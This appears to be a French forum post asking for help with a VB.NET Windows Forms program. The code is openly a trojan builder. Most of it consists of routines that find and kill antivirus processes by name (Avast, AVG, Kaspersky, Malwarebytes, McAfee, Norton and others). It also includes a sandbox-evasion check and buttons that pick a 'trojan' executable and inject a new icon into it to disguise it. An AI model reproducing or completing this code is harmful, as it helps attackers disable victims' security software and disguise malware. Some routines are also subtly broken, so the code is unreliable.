Pour plus d'information veulliez me contacter en message privé
'Kill le process notepad par exemple: Process.GetProcessesByName("notepad")(0).Kill()
function killproc(ByVal nomprocess as String) as integer Dim proc as Process() = Process.GetProcessesByName(nomprocess) For i As Integer = 0 To proc.Length - 1 proc(i).kill() Next return proc.Length - 1 End Function
plus aucun de mais buttons ne marchaient tout mais autre bouttons y compris le button pour enregistrer ne marchait
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles Me.Load
Imports System.Text Imports System.IO Public Class Form1 Dim iconofd As New OpenFileDialog Dim fichier, icone As String Dim file As String Dim var As Integer Sub Antiasquared() Dim ktp As Process() = Process.GetProcesses Dim i As Integer For i = 0 To ktp.Length - 1 Select Case Strings.LCase(ktp(i).ProcessName) Case "a2servic.exe" ktp(i).Kill() Case Else End Select Next End Sub Sub AntiAvast() Dim ktp As Process() = Process.GetProcesses Dim i As Integer For i = 0 To ktp.Length - 1 Select Case Strings.LCase(ktp(i).ProcessName) Case "ashWebSv.exe" ktp(i).Kill() Case Else End Select Next End Sub Sub AntiAVG() Dim ktp As Process() = Process.GetProcesses Dim i As Integer For i = 0 To ktp.Length - 1 Select Case Strings.LCase(ktp(i).ProcessName) Case "avgemc.exe" ktp(i).Kill() Case Else End Select Next End Sub Sub AntiBitDefender() Dim KillTheProcess As Process() = Process.GetProcesses Dim i As Integer For i = 0 To KillTheProcess.Length - 1 Select Case Strings.LCase(KillTheProcess(i).ProcessName) Case "bdagent" KillTheProcess(i).Kill() Case Else End Select Next End Sub Sub AntiKaspersky() Dim KillTheProcess As Process() = Process.GetProcesses Dim i As Integer For i = 0 To KillTheProcess.Length - 1 Select Case Strings.LCase(KillTheProcess(i).ProcessName) Case "avp" KillTheProcess(i).Kill() Case Else End Select Next End Sub Sub AntiMalwarebytes() Dim KillTheProcess As Process() = Process.GetProcesses Dim i As Integer For i = 0 To KillTheProcess.Length - 1 Select Case Strings.LCase(KillTheProcess(i).ProcessName) Case "mbam" KillTheProcess(i).Kill() Case Else End Select Next End Sub Sub AntiMcAfee() Dim ktp As Process() = Process.GetProcesses Dim i As Integer For i = 0 To ktp.Length - 1 Select Case Strings.LCase(ktp(i).ProcessName) Case "mcagent" & "mcuimgr" ktp(i).Kill() Case Else End Select Next End Sub Sub AntiNOD32() Dim KillTheProcess As Process() = Process.GetProcesses Dim i As Integer For i = 0 To KillTheProcess.Length - 1 Select Case Strings.LCase(KillTheProcess(i).ProcessName) Case "egui" KillTheProcess(i).Kill() Case Else End Select Next End Sub Sub AntiNorton() Dim ktp As Process() = Process.GetProcesses Dim i As Integer For i = 0 To ktp.Length - 1 Select Case Strings.LCase(ktp(i).ProcessName) Case "ccapp.exe" ktp(i).Kill() Case Else End Select Next End Sub Sub Antisandboxie() On Error Resume Next If Me.Text.Contains("#") Then Me.Close() Else Me.Show() End If End Sub Private Sub SkyDarkButton5_Click(sender As Object, e As EventArgs) Dim x As New OpenFileDialog x.Filter = "Exécutables |*.exe" x.InitialDirectory = "/VotreDossier" x.Multiselect = False SkyDarkButton5.Enabled = True If x.ShowDialog = Windows.Forms.DialogResult.OK Then LogInUserTextBox2.Text = x.FileName Else MsgBox("No open trojan Bro':( !!") LogInUserTextBox2.Text = "No open trojan Bro':( !!" End If End Sub Private Sub SkyDarkButton1_Click(sender As Object, e As EventArgs) Dim x As New OpenFileDialog x.Filter = "Exécutables |*.ico" x.InitialDirectory = "/VotreDossier" x.Multiselect = False SkyDarkButton1.Enabled = True If x.ShowDialog = Windows.Forms.DialogResult.OK Then LogInPassTextBox1.Text = x.FileName Else MsgBox("No open icon Bro':( !!") LogInPassTextBox1.Text = "No open icon Bro':( !!" End If End Sub Private Sub SkyDarkRadio1_CheckedChanged(sender As Object, e As EventArgs) SkyDarkButton1.Enabled = False End Sub Private Sub SkyDarkRadio2_Click(sender As Object, e As EventArgs) SkyDarkButton1.Enabled = True End Sub Private Sub Form1_Load(sender As Object, e As EventArgs) Handles Me.Load SkyDarkButton1.Enabled = False End Sub Private Sub SkyDarkButton8_Click(sender As Object, e As EventArgs) If SkyDarkRadio1.Checked Then End If If SkyDarkRadio2.Checked Then NotifyIcon1.ShowBalloonTip(1000) fichier = LogInUserTextBox2.Text icone = LogInPassTextBox1.Text Iconchanger.InjectIcon(fichier, icone) End If End Sub End Class